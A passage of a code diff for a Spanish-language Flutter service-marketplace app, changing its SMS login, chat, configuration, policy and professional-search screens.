|
||||
IntlPhoneField(
|
||||
initialCountryCode: 'CO',
|
||||
keyboardType: TextInputType.number,
|
||||
inputFormatters: [
|
||||
FilteringTextInputFormatter.digitsOnly
|
||||
inputFormatters: [FilteringTextInputFormatter.digitsOnly],
|
||||
onChanged: (phone) => _phone = phone.completeNumber,
|
||||
decoration: InputDecoration(
|
||||
hintText: 'Número de celular',
|
||||
filled: true,
|
||||
fillColor: const Color(0xFFF5F8FF),
|
||||
border: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: BorderSide.none,
|
||||
),
|
||||
enabledBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: const BorderSide(color: Color(0xFFE0E7FF), width: 1.5),
|
||||
),
|
||||
focusedBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: const BorderSide(color: Color(0xFF42A4EF), width: 2),
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
const Text(
|
||||
'Te enviaremos un SMS con tu código. Máx 160 caracteres.',
|
||||
style: TextStyle(color: Colors.grey, fontSize: 11),
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
if (state is AuthStateProcess)
|
||||
const Center(child: CircularProgressIndicator())
|
||||
else
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton(
|
||||
onPressed: _sendCode,
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: const Color(0xFF42A4EF),
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 16),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
elevation: 0,
|
||||
),
|
||||
child: const Text('Enviar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
Row(
|
||||
children: const [
|
||||
Expanded(child: Divider()),
|
||||
Padding(
|
||||
padding: EdgeInsets.symmetric(horizontal: 12),
|
||||
child: Text('o', style: TextStyle(color: Colors.grey)),
|
||||
),
|
||||
Expanded(child: Divider()),
|
||||
],
|
||||
validator: (value) {
|
||||
if (value == null) {
|
||||
return 'Ingresa un numero';
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
onChanged: (phone) {
|
||||
_phoneNumber = phone.completeNumber;
|
||||
},
|
||||
decoration: GeneralInputDecoration.getCustomDecoration(
|
||||
context: context,
|
||||
hintText: 'Ingresa tu numero',
|
||||
errorMsg: _errorMsg,
|
||||
),
|
||||
),
|
||||
),
|
||||
Text('Un código será enviado a este numero de celular.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13.0,color: Theme.of(context).colorScheme.onBackground),
|
||||
),
|
||||
GeneralPrimaryButton(
|
||||
onPressed: () {
|
||||
final phoneNumber = _phoneNumber;
|
||||
|
||||
if (phoneNumber != null && phoneNumber.isNotEmpty) {
|
||||
Navigator.push(context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => OtpAuthScreen(phoneNumber: phoneNumber),
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
label: 'Enviar código',
|
||||
),
|
||||
// ElevatedButton(
|
||||
// onPressed: () {
|
||||
// final phoneNumber = _phoneNumber;
|
||||
|
||||
// if (phoneNumber != null && phoneNumber.isNotEmpty) {
|
||||
// Navigator.push(
|
||||
// context,
|
||||
// CupertinoPageRoute(
|
||||
// builder: (context) =>
|
||||
// OtpAuthScreen(phoneNumber: phoneNumber),
|
||||
// ),
|
||||
// );
|
||||
// } else {}
|
||||
// },
|
||||
// child: const Text('Enviar código'),
|
||||
// ),
|
||||
TextButton(
|
||||
onPressed: () {
|
||||
Navigator.push(
|
||||
const SizedBox(height: 16),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: OutlinedButton(
|
||||
onPressed: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const SignScreen(initialIndex: 0),
|
||||
MaterialPageRoute(builder: (_) => const SignScreen(initialIndex: 0)),
|
||||
),
|
||||
);
|
||||
},
|
||||
child: Text(
|
||||
'Inicia sesión con tu correo electrónico',
|
||||
style: TextStyle(
|
||||
fontSize: width * 0.04,
|
||||
style: OutlinedButton.styleFrom(
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
side: const BorderSide(color: Color(0xFF42A4EF)),
|
||||
),
|
||||
child: const Text('Iniciar sesión con email', style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
Center(
|
||||
child: TextButton(
|
||||
onPressed: () => Navigator.push(
|
||||
context,
|
||||
MaterialPageRoute(builder: (_) => const SignScreen(initialIndex: 1)),
|
||||
),
|
||||
RichText(
|
||||
text: TextSpan(
|
||||
style: const TextStyle(
|
||||
fontSize: 16.0,
|
||||
color: Color(0xFF65676B),
|
||||
fontFamily: 'Poppins',
|
||||
),
|
||||
child: RichText(
|
||||
text: const TextSpan(
|
||||
style: TextStyle(color: Colors.grey, fontSize: 14),
|
||||
children: [
|
||||
const TextSpan(text: '¿No estás registrado? '),
|
||||
TextSpan(text: '¿No tienes cuenta? '),
|
||||
TextSpan(
|
||||
text: 'Regístrate',
|
||||
style: TextStyle(
|
||||
fontSize: width * 0.04,
|
||||
color: Colors.blue,
|
||||
fontWeight: FontWeight.w600,
|
||||
style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600),
|
||||
),
|
||||
recognizer: TapGestureRecognizer()
|
||||
..onTap = () {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
SignScreen(initialIndex: 1),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildOtpSection(AuthState state) {
|
||||
return Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.center,
|
||||
children: [
|
||||
const Icon(Icons.sms_outlined, size: 48, color: Color(0xFF42A4EF)),
|
||||
const SizedBox(height: 12),
|
||||
const Text(
|
||||
'Código de verificación',
|
||||
style: TextStyle(fontSize: 22, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
'Enviamos un código a\n${_phone ?? ''}',
|
||||
textAlign: TextAlign.center,
|
||||
style: const TextStyle(color: Colors.grey, fontSize: 14),
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
OtpTextField(
|
||||
numberOfFields: 6,
|
||||
borderColor: const Color(0xFFE0E7FF),
|
||||
focusedBorderColor: const Color(0xFF42A4EF),
|
||||
showFieldAsBox: true,
|
||||
fieldWidth: 46,
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
textStyle: const TextStyle(fontSize: 20, fontWeight: FontWeight.bold),
|
||||
onCodeChanged: (code) => _otpCode = code,
|
||||
onSubmit: (code) => authBloc.add(AuthEventVerifyOAuth(code: code)),
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
if (state is AuthStateProcess)
|
||||
const CircularProgressIndicator()
|
||||
else
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton(
|
||||
onPressed: () {
|
||||
if (_otpCode.length == 6) {
|
||||
authBloc.add(AuthEventVerifyOAuth(code: _otpCode));
|
||||
}
|
||||
},
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: const Color(0xFF42A4EF),
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 16),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
elevation: 0,
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
child: const Text('Verificar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 20),
|
||||
_resendSeconds > 0
|
||||
? Text(
|
||||
'Reenviar en $_resendSeconds s',
|
||||
style: const TextStyle(color: Colors.grey, fontSize: 13),
|
||||
)
|
||||
],
|
||||
: TextButton(
|
||||
onPressed: _sendCode,
|
||||
child: const Text('Reenviar código', style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600)),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
TextButton(
|
||||
onPressed: () => setState(() { _codeSent = false; _otpCode = ''; }),
|
||||
child: const Text('← Cambiar número', style: TextStyle(color: Colors.grey, fontSize: 13)),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -34,19 +34,32 @@ class _ChatScreenState extends State<ChatScreen> {
|
||||
|
||||
chatBloc = Injector.appInstance.get<ChatBloc>();
|
||||
|
||||
chatBloc.add(LoadChatEvent(
|
||||
serviceId: widget.service.id!,
|
||||
userId: widget.service.userId,
|
||||
professionalId: widget.service.professionalId,
|
||||
));
|
||||
_loadChat();
|
||||
|
||||
_getUserAndProfessionalInfo(widget.service).then((userInfo) {
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
_userInfo = userInfo;
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
void _loadChat() {
|
||||
// /chat/start/:id opens the conversation between the caller and :id, so it
|
||||
// takes the *other* participant. Always sending the professional meant a
|
||||
// professional opening the chat started a conversation with themselves.
|
||||
final me = ApiUserRepository.currentUserId ?? '';
|
||||
final counterpartId = me == widget.service.professionalId
|
||||
? widget.service.userId
|
||||
: widget.service.professionalId;
|
||||
|
||||
chatBloc.add(LoadChatEvent(
|
||||
serviceId: widget.service.id ?? '',
|
||||
userId: widget.service.userId,
|
||||
professionalId: counterpartId,
|
||||
));
|
||||
}
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_messageController.dispose();
|
||||
@@ -62,7 +75,16 @@ class _ChatScreenState extends State<ChatScreen> {
|
||||
),
|
||||
body: BlocProvider(
|
||||
create: (context) => chatBloc,
|
||||
child: BlocBuilder<ChatBloc, ChatState>(
|
||||
child: BlocConsumer<ChatBloc, ChatState>(
|
||||
listener: (context, state) {
|
||||
if (state is SendMessageFailure) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text('No se pudo enviar el mensaje')),
|
||||
);
|
||||
}
|
||||
},
|
||||
builder: (context, state) {
|
||||
if (state is ChatLoaded) {
|
||||
return Column(
|
||||
@@ -110,7 +132,7 @@ class _ChatScreenState extends State<ChatScreen> {
|
||||
),
|
||||
),
|
||||
subtitle: widget.service.userId ==
|
||||
ApiUserRepository.currentUserId ?? ''
|
||||
(ApiUserRepository.currentUserId ?? '')
|
||||
? GeneralReputation(
|
||||
userId: widget.service.professionalId,
|
||||
builder: (context, reputation) {
|
||||
@@ -327,6 +349,29 @@ class _ChatScreenState extends State<ChatScreen> {
|
||||
);
|
||||
}
|
||||
|
||||
if (state is ChatFailure) {
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(24),
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const Icon(Icons.chat_bubble_outline,
|
||||
size: 40, color: Colors.grey),
|
||||
const SizedBox(height: 12),
|
||||
const Text('No se pudo abrir la conversación',
|
||||
textAlign: TextAlign.center),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(
|
||||
onPressed: _loadChat,
|
||||
child: const Text('Reintentar'),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
return const Center(
|
||||
child: CircularProgressIndicator(),
|
||||
);
|
||||
@@ -339,7 +384,7 @@ class _ChatScreenState extends State<ChatScreen> {
|
||||
List<Widget> _messagesList(List<MessageEntity> messages) {
|
||||
return messages
|
||||
.map(
|
||||
(e) => e.ownerId != ApiUserRepository.currentUserId ?? ''
|
||||
(e) => e.ownerId != (ApiUserRepository.currentUserId ?? '')
|
||||
? ListTile(
|
||||
title: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.start,
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:package_info_plus/package_info_plus.dart';
|
||||
import 'package:prosappco/components/general_drawer_item.dart';
|
||||
import 'package:prosappco/screens/web/web_view_screen.dart';
|
||||
import 'package:prosappco/screens/configuration/policy_text_screen.dart';
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
import 'dart:io' show Platform;
|
||||
|
||||
class ConfigurationAboutScreen extends StatefulWidget {
|
||||
@@ -37,15 +35,24 @@ class _ConfigurationAboutScreenState extends State<ConfigurationAboutScreen> {
|
||||
);
|
||||
}
|
||||
|
||||
void _launchURL(String url) async {
|
||||
if (await canLaunch(url)) {
|
||||
await launch(url, forceSafariVC: false, forceWebView: false);
|
||||
} else {
|
||||
throw 'No se pudo abrir el enlace $url';
|
||||
Future<void> _openPolicy(String title, String Function(PoliciesEntity) pick) async {
|
||||
try {
|
||||
final policies = await settingRepository.getPolicies();
|
||||
if (!mounted) return;
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) => PolicyTextScreen(title: title, content: pick(policies)),
|
||||
),
|
||||
);
|
||||
} catch (_) {
|
||||
if (!mounted) return;
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('No se pudo cargar el contenido')),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Scaffold(
|
||||
@@ -56,44 +63,18 @@ class _ConfigurationAboutScreenState extends State<ConfigurationAboutScreen> {
|
||||
children: [
|
||||
GeneralDrawerItem(
|
||||
label: 'Políticas de privacidad',
|
||||
onTap: () {
|
||||
if (kIsWeb) {
|
||||
_launchURL(settings?.politicasPrivacidad ?? '');
|
||||
} else {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return WebViewScreen(
|
||||
label: 'Políticas de privacidad',
|
||||
link: settings?.politicasPrivacidad ?? '',
|
||||
);
|
||||
},
|
||||
onTap: () => _openPolicy(
|
||||
'Políticas de privacidad',
|
||||
(p) => p.privacy,
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
trailing: true,
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
label: 'Términos y condiciones',
|
||||
onTap: () {
|
||||
if (kIsWeb) {
|
||||
_launchURL(settings?.terminosCondiciones ?? '');
|
||||
} else {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return WebViewScreen(
|
||||
label: 'Términos y condiciones',
|
||||
link: settings?.terminosCondiciones ?? '',
|
||||
);
|
||||
},
|
||||
onTap: () => _openPolicy(
|
||||
'Términos y condiciones',
|
||||
(p) => p.terms,
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
trailing: true,
|
||||
),
|
||||
Platform.isIOS
|
||||
|
||||
@@ -1,130 +1,3 @@
|
||||
// import 'package:cloud_firestore/cloud_firestore.dart';
|
||||
// import 'package:firebase_auth/firebase_auth.dart';
|
||||
// import 'package:flutter/cupertino.dart';
|
||||
// import 'package:flutter/material.dart';
|
||||
// import 'package:get/get.dart';
|
||||
// import 'package:prosappco/src/components/pop_appbar.dart';
|
||||
// import 'package:prosappco/src/presentation/screens/about.dart';
|
||||
|
||||
// class ConfigurationScreen extends StatefulWidget {
|
||||
// const ConfigurationScreen({super.key});
|
||||
|
||||
// @override
|
||||
// State<ConfigurationScreen> createState() => _ConfigurationScreenState();
|
||||
// }
|
||||
|
||||
// class _ConfigurationScreenState extends State<ConfigurationScreen> {
|
||||
// late final FirebaseAuth _auth;
|
||||
|
||||
// @override
|
||||
// void initState() {
|
||||
// super.initState();
|
||||
// _auth = FirebaseAuth.instance;
|
||||
// }
|
||||
|
||||
// Future<void> deleteAccount() async {
|
||||
// try {
|
||||
// final currentUser = _auth.currentUser;
|
||||
|
||||
// if (currentUser != null) {
|
||||
// final uid = currentUser.uid;
|
||||
|
||||
// await FirebaseFirestore.instance.collection('users').doc(uid).delete();
|
||||
|
||||
// await currentUser.delete();
|
||||
|
||||
// await _auth.signOut();
|
||||
|
||||
// Get.snackbar(
|
||||
// 'Cuenta Eliminada',
|
||||
// 'Tu cuenta ha sido eliminada con éxito.',
|
||||
// snackPosition: SnackPosition.BOTTOM,
|
||||
// );
|
||||
// }
|
||||
// } catch (e) {
|
||||
// Get.snackbar(
|
||||
// 'Error al Eliminar Cuenta',
|
||||
// 'Hubo un error al eliminar tu cuenta. Por favor, inténtalo de nuevo más tarde.',
|
||||
// snackPosition: SnackPosition.BOTTOM,
|
||||
// );
|
||||
// }
|
||||
// }
|
||||
|
||||
// Future<void> _showDeleteAccountConfirmationDialog(
|
||||
// BuildContext context) async {
|
||||
// return showDialog(
|
||||
// context: context,
|
||||
// builder: (BuildContext context) {
|
||||
// return AlertDialog(
|
||||
// title: const Text('Eliminar Cuenta'),
|
||||
// content: const Text(
|
||||
// '¿Estás seguro de que deseas eliminar tu cuenta? Esta acción no se puede deshacer.'),
|
||||
// actions: [
|
||||
// TextButton(
|
||||
// onPressed: () {
|
||||
// Navigator.of(context).pop();
|
||||
// },
|
||||
// child: const Text('Cancelar'),
|
||||
// ),
|
||||
// TextButton(
|
||||
// onPressed: () {
|
||||
// deleteAccount();
|
||||
// Navigator.of(context).pop();
|
||||
// },
|
||||
// child: const Text(
|
||||
// 'Eliminar',
|
||||
// style:
|
||||
// TextStyle(color: Colors.red, fontWeight: FontWeight.w600),
|
||||
// ),
|
||||
// ),
|
||||
// ],
|
||||
// );
|
||||
// },
|
||||
// );
|
||||
// }
|
||||
|
||||
// @override
|
||||
// Widget build(BuildContext context) {
|
||||
// return Scaffold(
|
||||
// appBar: PopAppbar(
|
||||
// onPressed: () {
|
||||
// Navigator.pop(context);
|
||||
// },
|
||||
// label: 'Configuración'),
|
||||
// body: ListView(
|
||||
// children: [
|
||||
// ListTile(
|
||||
// onTap: () {
|
||||
// Navigator.push(
|
||||
// context,
|
||||
// CupertinoPageRoute(
|
||||
// builder: (BuildContext context) {
|
||||
// return const AboutScreen();
|
||||
// },
|
||||
// ),
|
||||
// );
|
||||
// },
|
||||
// title: const Text('Acerca de la aplicación'),
|
||||
// trailing: const Icon(
|
||||
// Icons.keyboard_arrow_right,
|
||||
// color: Colors.black,
|
||||
// ),
|
||||
// ),
|
||||
// ListTile(
|
||||
// onTap: () {
|
||||
// _showDeleteAccountConfirmationDialog(context);
|
||||
// },
|
||||
// title: const Text(
|
||||
// 'Eliminar cuenta',
|
||||
// style: TextStyle(color: Colors.red),
|
||||
// ),
|
||||
// ),
|
||||
// ],
|
||||
// ),
|
||||
// );
|
||||
// }
|
||||
// }
|
||||
|
||||
import 'dart:developer';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
@@ -132,9 +5,10 @@ import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:prosappco/blocs/setting_bloc/setting_bloc.dart';
|
||||
import 'package:prosappco/components/general_drawer_item.dart';
|
||||
import 'package:prosappco/screens/configuration/configuration_about_screen.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
class ConfigurationScreen extends StatelessWidget {
|
||||
const ConfigurationScreen({super.key});
|
||||
|
||||
@@ -153,38 +27,41 @@ class ConfigurationScreen extends StatelessWidget {
|
||||
child: Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Configuración'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: ListView(
|
||||
children: [
|
||||
GeneralDrawerItem(
|
||||
const SizedBox(height: 8),
|
||||
_ConfigItem(
|
||||
icon: Icons.info_outline_rounded,
|
||||
label: 'Acerca de la aplicación',
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return const ConfigurationAboutScreen();
|
||||
},
|
||||
builder: (_) => const ConfigurationAboutScreen(),
|
||||
),
|
||||
);
|
||||
},
|
||||
trailing: true,
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
),
|
||||
_ConfigItem(
|
||||
icon: Icons.logout_rounded,
|
||||
label: 'Cerrar sesión',
|
||||
onTap: () {
|
||||
try {
|
||||
settingBloc.add(SettingLogoutRequest());
|
||||
} catch (e) {
|
||||
log('xd conigura ${e.toString()}');
|
||||
log('logout error: ${e.toString()}');
|
||||
}
|
||||
},
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
const Divider(height: 1),
|
||||
_ConfigItem(
|
||||
icon: Icons.delete_outline_rounded,
|
||||
label: 'Eliminar cuenta',
|
||||
onTap: () {},
|
||||
color: Theme.of(context).colorScheme.error,
|
||||
)
|
||||
onTap: () {},
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
@@ -192,3 +69,39 @@ class ConfigurationScreen extends StatelessWidget {
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _ConfigItem extends StatelessWidget {
|
||||
final IconData icon;
|
||||
final String label;
|
||||
final Color? color;
|
||||
final VoidCallback onTap;
|
||||
|
||||
const _ConfigItem({
|
||||
required this.icon,
|
||||
required this.label,
|
||||
required this.onTap,
|
||||
this.color,
|
||||
});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final onSurface = Theme.of(context).colorScheme.onSurface;
|
||||
final c = color ?? onSurface;
|
||||
return ListTile(
|
||||
onTap: onTap,
|
||||
leading: Container(
|
||||
width: 36,
|
||||
height: 36,
|
||||
decoration: BoxDecoration(
|
||||
color: c.withOpacity(0.08),
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
child: Icon(icon, color: c, size: 20),
|
||||
),
|
||||
title: Text(label, style: TextStyle(color: c, fontWeight: FontWeight.w500)),
|
||||
trailing: color == null
|
||||
? Icon(Icons.keyboard_arrow_right, color: onSurface.withOpacity(0.35))
|
||||
: null,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81,13 +81,17 @@ class _ConfigurationSupportScreenState
|
||||
Padding(
|
||||
padding: const EdgeInsets.only(top: 30, left: 35, right: 35),
|
||||
child: Text(
|
||||
'${settings?.tituloSoporte}',
|
||||
settings == null
|
||||
? 'Cargando...'
|
||||
: (settings?.tituloSoporte ?? 'Soporte'),
|
||||
style: const TextStyle(fontWeight: FontWeight.w600),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 30, horizontal: 35),
|
||||
child: Text(settings?.parrafoSoporte ?? 'Cargando...'),
|
||||
child: Text(
|
||||
settings == null ? 'Cargando...' : (settings?.parrafoSoporte ?? ''),
|
||||
),
|
||||
),
|
||||
Row(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import 'package:flutter/material.dart';
|
||||
|
||||
class PolicyTextScreen extends StatelessWidget {
|
||||
final String title;
|
||||
final String content;
|
||||
|
||||
const PolicyTextScreen({
|
||||
super.key,
|
||||
required this.title,
|
||||
required this.content,
|
||||
});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Scaffold(
|
||||
appBar: AppBar(title: Text(title)),
|
||||
body: SingleChildScrollView(
|
||||
padding: const EdgeInsets.all(16),
|
||||
child: Text(
|
||||
content,
|
||||
style: const TextStyle(fontSize: 14, height: 1.5),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,8 @@ import 'package:prosappco/components/general_drawer.dart';
|
||||
import 'package:prosappco/screens/lists/professional_pending_service_list.dart';
|
||||
import 'package:prosappco/screens/user/user_map_screen.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
class HomeScreen extends StatelessWidget {
|
||||
const HomeScreen({super.key});
|
||||
|
||||
@@ -15,19 +17,20 @@ class HomeScreen extends StatelessWidget {
|
||||
return SafeArea(
|
||||
child: shouldProModeActive(context, state)
|
||||
? Scaffold(
|
||||
backgroundColor: Theme.of(context).colorScheme.background,
|
||||
drawer: GeneralDrawer(),
|
||||
backgroundColor: Theme.of(context).colorScheme.surface,
|
||||
drawer: const GeneralDrawer(),
|
||||
appBar: AppBar(
|
||||
title: const Text('Solicitudes'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: ProfessionalPendingServiceListScreen(),
|
||||
body: const ProfessionalPendingServiceListScreen(),
|
||||
)
|
||||
: Scaffold(
|
||||
backgroundColor: Theme.of(context).colorScheme.background,
|
||||
drawer: GeneralDrawer(),
|
||||
body: const Center(
|
||||
child: UserMapScreen(),
|
||||
),
|
||||
backgroundColor: Theme.of(context).colorScheme.surface,
|
||||
drawer: const GeneralDrawer(),
|
||||
body: const UserMapScreen(),
|
||||
),
|
||||
);
|
||||
},
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'dart:async';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:geolocator/geolocator.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:intl_phone_field/helpers.dart';
|
||||
import 'package:profession_repository/profession_repository.dart';
|
||||
@@ -34,6 +37,11 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
|
||||
bool _isLoading = true;
|
||||
|
||||
double? _lat;
|
||||
double? _lng;
|
||||
bool _isLocating = false;
|
||||
Timer? _debounce;
|
||||
|
||||
late final ProfessionalListBloc bloc;
|
||||
|
||||
@override
|
||||
@@ -46,6 +54,56 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
_loadProfessions();
|
||||
}
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_debounce?.cancel();
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
void _onSearchChanged(String value) {
|
||||
_debounce?.cancel();
|
||||
_debounce = Timer(const Duration(milliseconds: 450), () {
|
||||
bloc.add(ProfessionalListFetch(
|
||||
search: value.isEmpty ? null : value,
|
||||
lat: _lat,
|
||||
lng: _lng,
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
Future<void> _useMyLocation() async {
|
||||
setState(() => _isLocating = true);
|
||||
try {
|
||||
bool serviceEnabled = await Geolocator.isLocationServiceEnabled();
|
||||
if (!serviceEnabled) throw Exception('Location services disabled');
|
||||
|
||||
LocationPermission permission = await Geolocator.checkPermission();
|
||||
if (permission == LocationPermission.denied) {
|
||||
permission = await Geolocator.requestPermission();
|
||||
}
|
||||
if (permission == LocationPermission.denied ||
|
||||
permission == LocationPermission.deniedForever) {
|
||||
throw Exception('Location permission denied');
|
||||
}
|
||||
|
||||
final position = await Geolocator.getCurrentPosition();
|
||||
_lat = position.latitude;
|
||||
_lng = position.longitude;
|
||||
bloc.add(ProfessionalListFetch(
|
||||
search: _searchController.text.isEmpty ? null : _searchController.text,
|
||||
lat: _lat,
|
||||
lng: _lng,
|
||||
));
|
||||
} catch (_) {
|
||||
if (!mounted) return;
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('No se pudo obtener tu ubicación')),
|
||||
);
|
||||
} finally {
|
||||
if (mounted) setState(() => _isLocating = false);
|
||||
}
|
||||
}
|
||||
|
||||
void _loadSettings() {
|
||||
settingRepository.getSettings().then(
|
||||
(value) => setState(() {
|
||||
@@ -56,11 +114,19 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
|
||||
void _loadProfessions() {
|
||||
professionRepository.getProfessions().then((Professions element) {
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
_professions = element.professions;
|
||||
_filteredProfessions = _professions;
|
||||
_isLoading = false;
|
||||
});
|
||||
}).catchError((e) {
|
||||
// Without this the shimmer never stopped and the dropdown stayed empty.
|
||||
if (!mounted) return;
|
||||
setState(() => _isLoading = false);
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('No se pudieron cargar las profesiones')),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -134,14 +200,30 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
setState(() {
|
||||
_searchController.text = value;
|
||||
});
|
||||
_onSearchChanged(value);
|
||||
},
|
||||
decoration: const InputDecoration(
|
||||
decoration: InputDecoration(
|
||||
hintText: 'Busca un profesional',
|
||||
prefixIcon: Icon(Icons.search),
|
||||
enabledBorder: UnderlineInputBorder(
|
||||
prefixIcon: const Icon(Icons.search),
|
||||
suffixIcon: _isLocating
|
||||
? const Padding(
|
||||
padding: EdgeInsets.all(14),
|
||||
child: SizedBox(
|
||||
width: 16,
|
||||
height: 16,
|
||||
child:
|
||||
CircularProgressIndicator(strokeWidth: 2),
|
||||
),
|
||||
)
|
||||
